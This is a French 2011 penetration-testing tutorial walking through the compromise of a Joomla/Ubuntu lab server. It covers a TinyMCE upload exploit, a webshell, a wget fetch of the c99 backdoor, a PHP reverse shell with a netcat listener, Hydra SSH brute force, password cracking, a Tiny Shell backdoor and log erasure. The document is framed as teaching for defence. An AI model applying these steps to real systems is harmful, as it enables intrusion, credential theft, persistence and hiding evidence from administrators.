Sie sind auf Seite 1von 36

2011

Intrusion dun serveur web


Joomla / Ubuntu
Mthodologie dintrusion dun serveur web, de la recherche de vulnrabilits jusquau contrle distance.

Cdric BERTRAND http://lepouvoirclapratique.blogspot.com/ 24/08/2011

Sommaire
Glossaire .................................................................................................................................................. 3 Table des illustrations.............................................................................................................................. 5 Introduction............................................................................................................................................. 7 La mthodologie utilise ......................................................................................................................... 8 La collecte dinformations ................................................................................................................... 9 La recherche de vulnrabilits .......................................................................................................... 10 Llvation de privilges .................................................................................................................... 16 Elvation de privilges par exploit local ........................................................................................ 16 Elvation de privilges par laccs SSH.......................................................................................... 22 La rcupration dinformations......................................................................................................... 24 Dcrypter les mots de passe des utilisateurs Linux....................................................................... 24 Dcrypter les mots de passe des utilisateurs Joomla.................................................................... 25 Installation dune porte drobe ...................................................................................................... 28 Leffacement des traces .................................................................................................................... 30 Se protger ........................................................................................................................................ 32 Conclusion ............................................................................................................................................. 33 Outils utiliss ......................................................................................................................................... 34 Bibliographie.......................................................................................................................................... 36

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 2

Glossaire
Cheval de troie (Backdoor) Dans un logiciel, une porte drobe est une fonctionnalit inconnue de l'utilisateur lgitime, qui donne un accs secret au logiciel. Utilis par les pirates pour garder un accs aux systmes pntrs. http://fr.wikipedia.org/wiki/Porte_d%C3%A9rob%C3%A9e

CMS (Content Management System) Famille de logiciels destins la conception et la mise jour dynamique de site Web ou d'application multimdia (exemple : Wordpress, Joomla, etc).

Exploit Elment de programme permettant un individu ou un logiciel malveillant d'exploiter une faille de scurit informatique. http://fr.wikipedia.org/wiki/Exploit_%28informatique%29

MD5 Fonction de hachage cryptographique http://fr.wikipedia.org/wiki/MD5

Pare-feu (firewall) Outil matriel ou logiciel qui permet d'appliquer une politique d'accs aux ressources rseau. http://fr.wikipedia.org/wiki/Pare-feu_%28informatique%29

Reverse-shell Shell invers (plutt quun client se connecte un serveur, cest le serveur qui se connecte au client) http://assos.centrale-marseille.fr/ginfo/content/reverse-shell

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 3

Rootkit Ensemble de techniques mises en uvre par un outil afin de demeurer furtif et cach sur un systme. http://fr.wikipedia.org/wiki/Rootkit

Scan de ports Technique permettant de connatre les services accessibles dune machine. Utilis lors des phases de recherche dinformations. http://www.cgsecurity.org/Articles/scan_port.html

Shell Interface humain-ordinateur (IHO) en ligne de commande http://fr.wikipedia.org/wiki/Shell_%28informatique%29

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 4

Table des illustrations


Figure 1 Scan de ports ............................................................................................................................. 9 Figure 2 Serveur Web .............................................................................................................................. 9 Figure 3 Dtection du CMS utilis ........................................................................................................... 9 Figure 4 Scanneur de failles Joomla ...................................................................................................... 10 Figure 5 Faille TinyMCE ......................................................................................................................... 10 Figure 6 Metasploit - Exploit Joomla ..................................................................................................... 11 Figure 7 Metasploit - Configuration de l'exploit ................................................................................... 11 Figure 8 Echec Exploit Joomla ............................................................................................................... 11 Figure 9 Exploit PHP pour Joomla ......................................................................................................... 12 Figure 10 Exploit Joomla........................................................................................................................ 12 Figure 11 Shell sur la machine cible ...................................................................................................... 12 Figure 12 Contenu de shell.php ............................................................................................................ 12 Figure 13 Commande excute distance ........................................................................................... 13 Figure 14 Rsultat de notre commande ................................................................................................ 13 Figure 15 Backdoor php c99 .................................................................................................................. 13 Figure 16 Fonctionnement reverse-shell .............................................................................................. 13 Figure 17 L'outil PHP-reverse-shell........................................................................................................ 14 Figure 18 Configuration du php-reverse-shell....................................................................................... 14 Figure 19 Upload du reverse-shell......................................................................................................... 14 Figure 20 Netcat en attente de connexion sur le port 1234 ................................................................. 14 Figure 21 Excution du reverse-shell .................................................................................................... 15 Figure 22 Reverse-shell sur notre poste ................................................................................................ 15 Figure 23 Compte utilis pour notre shell ............................................................................................. 16 Figure 24 Distribution utilise ............................................................................................................... 16 Figure 25 Dtermination du noyau Linux .............................................................................................. 17 Figure 26 Architecture utilise .............................................................................................................. 17 Figure 27 Prsence d'une imprimante .................................................................................................. 17 Figure 28 Vrifier nouvelle release ....................................................................................................... 17 Figure 29 Liste des processus ................................................................................................................ 17 Figure 30 Top : Utilisation de la mmoire ............................................................................................. 17 Figure 31 Processus excuts par root.................................................................................................. 18 Figure 32 Processus excuts par root et qui peuvent s'avrer vulnrables ........................................ 18 Figure 33 Connatre liste des applications installes ............................................................................ 18 Figure 34 Liste des packages Debian (fichier DEB) ................................................................................ 18 Figure 35 Liste des tches planifies ..................................................................................................... 19 Figure 36 Qui a cre une crontable ....................................................................................................... 19 Figure 37 Liste des scripts crontab ........................................................................................................ 19 Figure 38 Adresse IP de la machine....................................................................................................... 19 Figure 39 Liste des interfaces de la machine......................................................................................... 19 Figure 40 Liste des connexions Internet actives ................................................................................... 20 Figure 41 Sockets Unix actifs ................................................................................................................. 20 Figure 42 Liste des derniers utilisateurs connects .............................................................................. 20 Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com Page 5

Figure 43 Gestionnaire de mises jour ................................................................................................. 20 Figure 44 Fichier /etc/shadow............................................................................................................... 22 Figure 45 Contenu du fichier /etc/passwd ............................................................................................ 22 Figure 46 Attaque sur l'accs SSH ......................................................................................................... 22 Figure 47 Mot de passe du compte ohm .............................................................................................. 22 Figure 48 Accs SSH sur le serveur web ................................................................................................ 23 Figure 49 Droit du compte Ohm............................................................................................................ 23 Figure 50 Connexion en root ................................................................................................................. 23 Figure 51 Fichier /etc/passwd ............................................................................................................... 24 Figure 52 Fichier /etc/shadow............................................................................................................... 24 Figure 53 Assemblage des fichiers Unix ................................................................................................ 24 Figure 54 Crackage des comptes Unix ................................................................................................... 25 Figure 55 Interface phpmyadmin .......................................................................................................... 25 Figure 56 Script python cracker phpmyadmin ...................................................................................... 25 Figure 57 Mot de passe phpmyadmin dcouvert ................................................................................. 26 Figure 58 Base de donnes Joomla ....................................................................................................... 26 Figure 59 Table des utilisateurs ............................................................................................................. 26 Figure 60 Informations lies aux utilisateurs ........................................................................................ 26 Figure 61 Users Joomla.......................................................................................................................... 26 Figure 62 Hash Joomla........................................................................................................................... 27 Figure 63 Script de cassage des mots de passe Joomla ........................................................................ 27 Figure 64 Cassage des mots de passe Joomla ....................................................................................... 27 Figure 65 Backdoor Unix ....................................................................................................................... 28 Figure 66 Tlchargement de Tsh ......................................................................................................... 28 Figure 67 Documentation Tiny Shell ..................................................................................................... 28 Figure 68 Installation de la backdoor .................................................................................................... 28 Figure 69 Test du fonctionnement de la backdoor ............................................................................... 29 Figure 70 Historique des commandes excutes.................................................................................. 30 Figure 71 Effacement de l'historique .................................................................................................... 30 Figure 72 Description de Linux Log Eraser ............................................................................................ 31 Figure 73 Liste des logs contenant notre adresse IP ............................................................................. 31 Figure 74 Changer l'adresse Ip prsentes dans les logs ........................................................................ 31 Figure 75 Utilisation de Linux Log Eraser .............................................................................................. 31 Figure 76 Outil Chrootkit en action ....................................................................................................... 32

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 6

Introduction
Cet article a pour but d'expliquer la mthodologie gnralement retenue par les pirates pour s'introduire dans un systme informatique. Il vise expliquer comment compromettre un systme afin de mieux pouvoir s'en prmunir. En effet, la meilleure faon de protger son systme est de procder de la mme manire que les pirates afin de cartographier les vulnrabilits du systme. Nous allons voir comment exploiter les vulnrabilits dun poste afin den prendre le contrle.

Le poste cible est un ordinateur sous Linux (Ubuntu) hbergeant un site web sous Joomla.

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 7

La mthodologie utilise
Le scnario standard dun test dintrusion vis--vis dune machine cible est le suivant : Collecte dinformations : via diffrents outils, lattaquant cherche obtenir le maximum dinformations sur la cible : systme dexploitation, logiciels installs, services actifs, login des utilisateurs ayant accs la cible. Recherche de vulnrabilits : via des scanneurs rseau (par exemple nessus pour le monde open source, Acunetix, n-stealth pour les logiciels propritaires), lattaquant va aprs la phase de collecte dinformations, chercher identifier et recenser les failles de scurit sur les services et/ou les applications disponibles. Une fois ces informations obtenues, il pourra faire des recherches sur des bases de donnes (Security-Focus, CVE, Exploit-DB, Metasploit) pour trouver des versions/failles exploitables, et le cas chant, rcuprer un code dexploitation (exploit) Exploitation : partir des informations prcdentes, lattaquant cherchera exploiter un service/application vulnrable via un code dexploitation. Si pas de failles dcouvertes, il peut aussi tenter des attaques par force brute ou par dictionnaire afin de dcouvrir les login/mots de passe des utilisateurs Elvation de privilges : une fois un accs la machine obtenu, lattaquant cherchera obtenir assez dinformations (comptes administrateurs, vulnrabilits locales) afin de raliser le plus doprations sur la cible. Lobjectif tant de devenir super-utilisateur (administrateur / root) Rcupration dinformations : une fois administrateur sur le poste, lattaquant va chercher obtenir le maximum dinformations disponibles : mot de passe, partages rseau, extraction de la base Active Directory (base des comptes utilisateurs) Effacement des traces : afin que lattaque reste la plus furtive possible, lattaquant cherchera au maximum effacer ses traces (suppression des logins locaux, effacement des fichiers logs, historique shell) Installation dune porte drobe : afin de pouvoir se reconnecter plus tard sur la cible en minimisant les risques dtre dtect, lattaquant pourra installer une porte drobe (exemple : rootkit1 pour masquer des processus, daemons rseaux, fichiers) Tentative de rebond : partir de laccs une premire machine, lattaquant pourra sen servir afin de dcouvrir et daccder dautres cibles (contournement rgles de filtrage dans une DMZ, rcupration de cls SSH pour se connecter un autre serveur)

http://fr.wikipedia.org/wiki/Rootkit

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 8

La collecte dinformations
On commence par un scan de ports afin de dterminer quels sont les services accessibles.

Figure 1 Scan de ports

Nous constatons quil y a un accs SSH (port 22) ainsi quun serveur Web daccessible (port 80). Commenons par analyser le serveur web. Pour cela, on ouvre notre navigateur et on tape ladresse IP de notre machine cible.

Figure 2 Serveur Web

On constate rapidement que le site web fonctionne avec un CMS de type Joomla. Pour dtecter un site web fonctionnant sous un CMS, on peut utiliser lapplication WhatWeb2. Cest un outil Open Source permettant didentifier les applications fonctionnant derrire des serveurs Web : CMS, platesformes de blogs, serveurs (Apache, IIS) et autres.

Figure 3 Dtection du CMS utilis

WhatWeb a dtect que la version de Joomla utilise tait la 1.5. Il nous reste maintenant savoir sil existe des vulnrabilits concernant cette version de Joomla.

http://www.morningstarsecurity.com/research/whatweb

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 9

La recherche de vulnrabilits
Pour dtecter les vulnrabilits lies Joomla, on utilise loutil Joomscan3. Joomscan permet de scanner un site web sous Joomla et dindiquer quelles sont les vulnrabilits dcouvertes.

Figure 4 Scanneur de failles Joomla

Joomscan a dtect 6 vulnrabilits. Penchons-nous sur les plus critiques.

Figure 5 Faille TinyMCE

TinyMCE est un des composants de Joomla, celui-ci souffre de nombreuses vulnrabilits dont une qui permet lupload de fichiers sur le serveur. Il nous suffirait duploader un shell sur le serveur web ce qui nous permettrait davoir un premier accs au poste cible.

http://sourceforge.net/projects/joomscan/

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 10

Pour exploiter cette faille, nous allons utiliser Metasploit4. Metasploit est un framework permettant de fournir des informations sur des vulnrabilits et de les exploiter. Nous commenons par rechercher lexploit correspondant la vulnrabilit dcouverte dans Joomla.

Figure 6 Metasploit - Exploit Joomla

Puis nous configurons lexploit en indiquant ladresse du serveur Web que nous visons ainsi que le chemin de Joomla.

Figure 7 Metasploit - Configuration de l'exploit

En utilisant la commande <check de Metasploit, nous pouvons dterminer si notre cible est bien vulnrable, ce qui semble tre le cas.

Figure 8 Echec Exploit Joomla

Mme si la cible est bien vulnrable, Metasploit na pas pu uploader de fichier et na donc pas pu tirer parti de la vulnrabilit. Nous poursuivons nos recherches sur Internet afin de dcouvrir un autre exploit qui on lespre sera plus fonctionnel. En utilisant le site ExploitSearch5, qui est un moteur de recherche pour les exploits, nous dcouvrons un code exploitable pour la mme vulnrabilit.

4 5

http://www.metasploit.com/ http://www.exploitsearch.net/

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 11

Figure 9 Exploit PHP pour Joomla

Afin dexploiter la vulnrabilit, nous avons un script PHP. Une fois tlcharg et configur pour viser notre poste cible, nous lexcutons.

Figure 10 Exploit Joomla

Lexploit a bien fonctionn. Un fichier <shell.php> a t cre sur notre cible.

Figure 11 Shell sur la machine cible

Le fichier shell.php contient une ligne qui permet dexcuter des commandes distance.

Figure 12 Contenu de shell.php

Pour faire excuter une commande distance sur le serveur web, il suffit dappeler notre script php et de lui passer une commande en paramtre. Par exemple, en passant en paramtre <cat /etc/password>, nous voyons le contenu du fichier sur le serveur distant.

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 12

Figure 13 Commande excute distance

Nous voyons alors le rsultat de lexcution de notre commande dans notre navigateur (ici laffichage de /etc/password)

Figure 14 Rsultat de notre commande

Nous avons dsormais un accs distance sur le serveur web. Afin dutiliser un shell plus volu (interface graphique), nous tlchargeons c99, qui est une backdoor PHP avec une interface graphique. Pour uploader cette backdoor sur le poste distance, nous utilisons notre shell (commande : wget http://<adresse_de_notre_backdoor>). Une fois notre backdoor uploade sur le serveur, celle-ci est accessible en tapant simplement son adresse.

Figure 15 Backdoor php c99

Nanmoins parfois les pare-feux et autres outils de scurit bloquent les accs et il peut tre difficile de les traverser. Afin de contourner cette problmatique, nous pouvons utiliser un reverse-shell. Un reverse-shell, cest quand on force lordinateur de la cible se connecter notre ordinateur plutt que linverse (normalement on met en place un shell sur lordinateur distant et cest notre ordinateur qui sy connecte).

Figure 16 Fonctionnement reverse-shell

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 13

Il nest pas possible pour le pirate de se connecter sur le port 4444 car ce port est bloqu par le parefeu pour une connexion entrante (connexion qui vient de lextrieur). Avec le reverse-shell, le poste du pirate est en attente de connexion sur le port 4444, et cest le serveur vulnrable qui va initier la connexion. Comme cest une connexion sortante, et que celle-ci est initie par un poste lintrieur du rseau, celle-ci pourra traverser le pare-feu.

Pour mettre en place notre reverse-shell, nous allons utiliser loutil php-reverse-shell6.

Figure 17 L'outil PHP-reverse-shell

Pour utiliser cet outil, il faut dabord le configurer et indiquer ladresse laquelle notre script doit se connecter.

Figure 18 Configuration du php-reverse-shell

Une fois configur, on uploade le script grce notre shell.

Figure 19 Upload du reverse-shell

Avant de lancer notre script, nous devons nous mettre en coute afin que lordinateur distance puisse se connecter nous. Pour cela, on utilise loutil netcat7. Netcat est un utilitaire Unix simple qui permet de grer les sockets (connexions rseaux), cest--dire quil est capable dtablir nimporte quelle connexion un serveur, en choisissant le port, lIP etc. Nous configurons netcat pour quil soit en attente de connexion sur le port 1234 (le port configur dans notre fichier php-reverse-shell).

Figure 20 Netcat en attente de connexion sur le port 1234


6 7

http://pentestmonkey.net/tools/web-shells/php-reverse-shell http://netcat.sourceforge.net/

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 14

Une fois Netcat en attente de connexion, nous excutons le fichier php-reverse-shell sur le serveur distant.

Figure 21 Excution du reverse-shell

Une fois excut sur notre machine cible, le script se connecte directement sur notre machine. Voil ce qui saffiche sur notre poste.

Figure 22 Reverse-shell sur notre poste

Maintenant que nous avons un accs depuis notre machine, la prochaine tape va tre dlever nos droits utilisateurs afin de devenir administrateur de la machine. Ceci nous permettra de contrler totalement la machine cible et de pouvoir en garder le contrle (installation de backdoors volues, nettoyage des fichiers logs, rcupration des mots de passe des utilisateurs, etc.)

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 15

Llvation de privilges
Le compte que nous utilisons pour notre shell a des droits limits. Il sagit du compte <www-data>, qui permet la gestion du serveur web.

Figure 23 Compte utilis pour notre shell

Notre prochaine tape est donc dobtenir les droits du compte administrateur (root) ce qui nous permettra deffectuer toutes les actions que nous souhaitons : installation dune backdoor, effacement des fichiers logs, cassage des comptes utilisateurs, etc.

Elvation de privilges par exploit local


Pour lever nos privilges, on utilise souvent un exploit local. Maintenant comment trouver la vulnrabilit utiliser ? La cl est lnumration, qui comprend : Enumration du systme dexploitation Enumration des services et des applications Enumration du systme de fichiers Enumration des informations confidentielles Enumration des connexions rseau

En gros, nous allons rcuprer le maximum dinformations, puis une fois des vulnrabilits dtectes, puis rechercher des codes dexploitation sur les sites suivants : www.exploit-db.com www.securityfocus.com www.packetstormsecurity.org web.nvd.nist.gov/view/vuln/search

Commenons tout dabord par lnumration concernant le systme dexploitation.

Enumration du systme dexploitation


On commence tout dabord par rcuprer la distribution utilise par la commande : <cat /etc/issue>

Figure 24 Distribution utilise

On dtermine la version du noyau Linux en tapant la commande <uname a>.

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 16

Figure 25 Dtermination du noyau Linux

Plus dinfos sur larchitecture du noyau avec la commande <cat /proc/version>

Figure 26 Architecture utilise

Pour dterminer la prsence dune imprimante, on peut taper la commande <lpstat a>

Figure 27 Prsence d'une imprimante

Vrifier si une nouvelle distribution est disponible : <do-release-upgrade>

Figure 28 Vrifier nouvelle release

Ces informations seront importantes pour savoir quel type dexploit utiliser et leur version.

Enumration des applications et services


Connatre les services lancs ainsi que leur privilges : <ps aux>

Figure 29 Liste des processus

Connatre lutilisation de la mmoire : <top>

Figure 30 Top : Utilisation de la mmoire

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 17

Liste des processus excuts par root : <ps aux | grep root>

Figure 31 Processus excuts par root

La liste des processus excuts par le compte root et qui peuvent savrer vulnrables : <ps ef | grep root>

Figure 32 Processus excuts par root et qui peuvent s'avrer vulnrables

Connatre les applications installes : <ls alh /usr/bin | less> / <ls alh /sbin>

Figure 33 Connatre liste des applications installes

Connatre la liste des packages debian installs : <ls alh /var/cache/apt/archives>

Figure 34 Liste des packages Debian (fichier DEB)

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 18

Connatre la liste des tches planifies : <crontab l>

Figure 35 Liste des tches planifies

Liste des utilisateurs ayant cre une crontable8 : <ls alh /var/spool/cron>

Figure 36 Qui a cre une crontable

Liste des scripts excuts par crontab : </cat/etc/crontab>

Figure 37 Liste des scripts crontab

Passons maintenant lnumration des services rseau.

Enumration des services rseau


Obtenir ladresse IP de la machine : </sbin/ifconfig a>

Figure 38 Adresse IP de la machine

Liste des interfaces rseau : <cat /etc/network/interfaces>

Figure 39 Liste des interfaces de la machine

Liste des utilisateurs et des machines connects avec la machine : <lsof i> Liste des connexions Internet actives : <netstat antup>

http://aasoftware.eu/index2.php?option=com_docman&task=doc_view&gid=25&Itemid=30

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 19

Figure 40 Liste des connexions Internet actives

Liste des connexions rseau actives : <netstat antpx>

Figure 41 Sockets Unix actifs

Liste des derniers utilisateurs connects : <last>

Figure 42 Liste des derniers utilisateurs connects

Ide personnelle pour connatre les vulnrabilits dun systme : Lancer le gestionnaire de mises jour (ou en ligne de commande <update-manager>)

Figure 43 Gestionnaire de mises jour

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 20

Ninja : http://www.ubuntugeek.com/ninja-privilege-escalation-detection-system-for-gnulinux.html nessus

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 21

Elvation de privilges par laccs SSH


Lors de notre recherche dinformations, nous avons dcouvert quun accs SSH tait disponible sur la machine cible. Souci, sans connatre de login, il peut tre difficile de trouver un compte valide (mme si on peut aussi partir du principe que le compte root est autoris). Afin de trouver un compte valide, commenons tout dabord par regarder le fichier </etc/shadow>. Ce fichier contient les mots de passe crypts des utilisateurs mais il va aussi nous permettre de trouver des logins existants.

Figure 44 Fichier /etc/shadow

Nous dcouvrons quil y a 4 comptes intressants : ohm sophia martin albert. Pour chacun de ses comptes, nous allons tenter de dcouvrir le mot de passe. Pour cela, nous allons lancer une attaque sur laccs ssh avec le nom de chaque utilisateur. Selon le fichier </etc/passwd> qui contient la liste des utilisateurs du systme, le compte ohm est celui qui possde les droits les plus levs.

Figure 45 Contenu du fichier /etc/passwd

Nous allons donc tenter de dcouvrir quel est le mot de passe associ au compte ohm. Pour cela, nous allons utiliser loutil Hydra9. Hydra est un crackeur qui fonctionne pour plusieurs protocoles : ftp, ssh, http Nous configurons Hydra afin que celui-ci tente de dcouvrir le mot de passe associ au compte ohm.

Figure 46 Attaque sur l'accs SSH

Au bout de quelques minutes, un mot de passe a t dcouvert.

Figure 47 Mot de passe du compte ohm

http://thc.org/thc-hydra/

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 22

Une fois le mot de passe dcouvert, nous nous connectons avec le compte ohm sur laccs ssh.

Figure 48 Accs SSH sur le serveur web

On vrifie les droits et lappartenance du compte ohm en tapant la commande id.

Figure 49 Droit du compte Ohm

Nous constatons que ce compte fait parti du groupe admin. Nous allons pouvoir nous connecter en root en tapant la commande <sudo s>

Figure 50 Connexion en root

Nous sommes maintenant connects en root. Nous allons pouvoir passer la phase de rcupration dinformations. Cette phase consiste en la collecte des comptes utilisateurs et de leur mot de passe associ.

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 23

La rcupration dinformations
Maintenant que nous sommes root sur la machine, nous pouvons rcuprer les informations disponibles sur le systme. Les informations les plus intressantes rcuprer pour un attaquant sont les mots de passe des comptes de la machine. Comme nous savons quil y a aussi un serveur web hbergeant Joomla, nous allons aussi rcuprer les mots de passe des utilisateurs Joomla.

Dcrypter les mots de passe des utilisateurs Linux


Premire chose faire, rcuprer le fichier de mots de passe et le dcrypter afin dobtenir les informations de lensemble des comptes prsents sur la machine. Le fichier des comptes sous Linux est le fichier /etc/passwd.

Figure 51 Fichier /etc/passwd

Ce fichier contient uniquement les comptes ainsi que les droits associs. Il ne contient pas les mots de passe des utilisateurs. Les mots de passe eux se trouvent dans le fichier /etc/shadow

Figure 52 Fichier /etc/shadow

Pour cracker les mots de passe, on peut utiliser loutil John the ripper 10. Cest un logiciel libre de cassage de mot de passe, utilis notamment pour tester la scurit d'un mot de passe. Pour pouvoir cracker ce mot de passe, il faut re-assembler les 2 fichiers pour nen former plus quun seul. Cest ce que la commande <unshadow> va nous permettre de faire.

Figure 53 Assemblage des fichiers Unix

Une fois les 2 fichiers assembls, on utilise John pour trouver les mots de passe associs chaque compte.

10

http://www.openwall.com/john/

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 24

Figure 54 Crackage des comptes Unix

Selon la complexit des mots de passe, le temps pour les trouver peut tre plus ou moins long (voir si le mot de passe est trs complexe, impossible trouver en un temps raisonnable).

Dcrypter les mots de passe des utilisateurs Joomla


Les informations de connexion des utilisateurs Joomla sont stockes dans une base de donnes mysql. Pour accder ces informations, on peut passer par phpmyadmin11, qui est une application Web de gestion pour les bases de donnes MySQL.

Figure 55 Interface phpmyadmin

Par dfaut, le compte root de phpmyadmin a un mot de passe vide. Nanmoins pour augmenter la difficult, jai protg laccs phpmyadmin par un compte <admin> avec un mot de passe simple. Le script <phpmyadmin_bruteforce.py> teste une liste de mots de passe passe en paramtre (fichier dictionnaire).

Figure 56 Script python cracker phpmyadmin

11

http://www.phpmyadmin.net/home_page/index.php

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 25

Figure 57 Mot de passe phpmyadmin dcouvert

Une fois le mot de passe dcouvert, on se connecte phpmyadmin et on slectionne la base de donnes Joomla.

Figure 58 Base de donnes Joomla

La liste des comptes utilisateurs est dans la table <jos_users>

Figure 59 Table des utilisateurs

Cette table contient lensemble des informations des utilisateurs : nom, courriel, type de compte. Le mot de passe est stock en md512. Le md5 est une fonction de hashage mathmatique permettant de calculer lempreinte numrique dun fichier ou dune chane de caractre.

Figure 60 Informations lies aux utilisateurs

On enregistre ces informations dans un fichier texte.

Figure 61 Users Joomla


12

http://fr.wikipedia.org/wiki/MD5

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 26

Le mot de passe est aussi compos dun salt qui est une cl de cryptage gnre alatoirement. Cela permet de complexifier le mot de passe. Chaque login est donc stock sous la forme : compte : <password> :<salt>

Figure 62 Hash Joomla

Lorsquun utilisateur sauthentifie, le mot de passe quil a saisi est concatn avec $salt, puis crypt en md5 et enfin compar md5($password.$salt). Vient maintenant le moment du cassage des mots de passe. Pour cela, nous utilisons le script <joomla-cracker13>. Idem que pour phpmyadmin, cest un script qui teste diffrents mots de passe

Figure 63 Script de cassage des mots de passe Joomla

A partir dune liste de mots, le script calcule son empreinte md5 puis la compare avec une liste de hash (les hash que nous avons rcupr de Joomla). Si les 2 valeurs correspondent, cest quon a dcouvert le bon mot de passe. Le fichier <Password.txt> contient une liste de mots, le fichier <hash.txt > contient la liste des utilisateurs de Joomla.

Figure 64 Cassage des mots de passe Joomla

Grce ce script, on a pu dcouvrir les mots de passe de certains utilisateurs sous Joomla. Limportant dans ce type de script est le nombre de mots de passe tests. Avec un bon dictionnaire, on peut trouver en gnral 3 mots de passe sur 4.

13

http://web-vuln.blogspot.com/2010/01/cracking-password-joomla-hash-md5salt.html

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 27

Installation dune porte drobe


Nous avons obtenu laccs au compte root, nanmoins il est possible que ladministrateur de la station change le mot de passe et dans ce cas, nous naurions plus accs la machine. Afin dviter a, nous allons installer une backdoor, ce qui va nous permettre de garder un accs au systme et dy retourner quand bon nous semble. Il peut nanmoins y avoir dautres motivations pour installer une backdoor : installation dautres codes malveillants, recherche de listes de mots de passe, utilisation de la machine infecte pour le lancement dattaques sur dautres ordinateurs ou serveurs,etc. Les motivations sont nombreuses. Comme backdoor, nous allons utiliser tiny shell 14(disponible sur packetstormsecurity).

Figure 65 Backdoor Unix

On ouvre un shell SSH sur notre cible et on tlcharge notre backdoor.

Figure 66 Tlchargement de Tsh

Une fois larchive tlcharge, on la dzippe puis on consulte la documentation.

Figure 67 Documentation Tiny Shell

Une fois configure, on la compile, puis on linstalle

Figure 68 Installation de la backdoor

14

http://packetstorm.igor.onlinedirect.bg/UNIX/penetration/tsh-0.6.tgz

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 28

La backdoor tant installe sur notre systme cible, reste tester son bon fonctionnement. Pour cela, on utilise le client disponible dans larchive et on se connecte avec sur notre cible.

Figure 69 Test du fonctionnement de la backdoor

Nous avons dsormais une backdoor installe sur le systme cible qui nous permettra ainsi de le contrler distance. Le souci avec cette backdoor est que celle-ci nest pas discrte. Elle ne contient pas de fonctions qui lui permettent de se cacher sur un systme (masquage des processus et des fichiers, etc.). Pour rendre celle-ci plus furtive, nous pourrions par exemple utiliser un rootkit15. Un rootkit est un ensemble de techniques permettant de rendre furtif un accs sur un systme.

La prochaine tape importante de notre intrusion est de cacher les traces de notre passage.

15

http://fr.wikipedia.org/wiki/Rootkit

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 29

Leffacement des traces


Lors de notre intrusion, nous avons laiss de nombreuses (commandes excutes, logiciels installs, log du serveur web, etc.) Afin de masquer notre passage, il est important de nettoyer les diffrentes oprations que nous avons effectues. Si lintrusion est dtecte et une enqute lance, une analyse sera effectue sur les logs et il sera possible de remonter jusqu nous puisquaucun moyen na t utilis pour prserver notre anonymat (proxys, VPN). Sous un systme Unix, il y a de nombreux fichiers logs dont : Logs Apache (upload dune backdoor, exploitation dune vulnrabilit Joomla) Installation de notre backdoor Historique des commandes excutes sur la machine (rcupration des comptes utilisateurs, etc.)

Par exemple, en tapant la simple commande <history>, nous avons accs lensemble des commandes excutes, parmi lesquelles figurent les traces des modifications que nous avons effectu :

Figure 70 Historique des commandes excutes

L on peut voir par exemple les url des backdoors (c99) tlcharges sur le poste. Pour supprimer lhistorique, on peut par exemple utiliser la commande suivante :

Figure 71 Effacement de l'historique

Nanmoins cette mthode nest pas subtile et risque de mettre la puce de loreille de ladministrateur (il est trs suspect que tous les logs de la machines soient vides). De plus, il existe de nombreuses autres traces et il peut tre difficile et fastidieux de supprimer tous les fichiers logs un par un. Il existe des outils qui permettent dexcuter cette tche de manire automatique. Un de ces outils est par exemple <Linux Log Eraser 16> qui permet de rechercher des donnes compromettantes et de les supprimer.

16

http://packetstormsecurity.org/files/view/102532/Linux-Log-Eraser-1.0.tar.gz

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 30

Figure 72 Description de Linux Log Eraser

Aprs tlchargement et installation de loutil, on peut dbuter son utilisation en lui ordonnant de chercher tous les logs qui contiennent notre adresse IP.

Figure 73 Liste des logs contenant notre adresse IP

On a alors la liste des fichiers logs qui contiennent notre adresse IP. On peut aussi par exemple commander au logiciel de changer notre adresse IP par une autre afin de compliquer lanalyse.

Figure 74 Changer l'adresse Ip prsentes dans les logs

On peut aussi lui demander de supprimer les logs des tlchargements de nos backdoors, etc.

Figure 75 Utilisation de Linux Log Eraser

Cet outil permet de sassurer quon a laiss le moins de traces possibles derrire nous. Attention supprimer lhistorique des commandes aprs sa dsinstallation.

Cdric BERTRAND : Intrusion dun serveur http://lepouvoirclapratique.blogspot.com

Page 31

Se protger
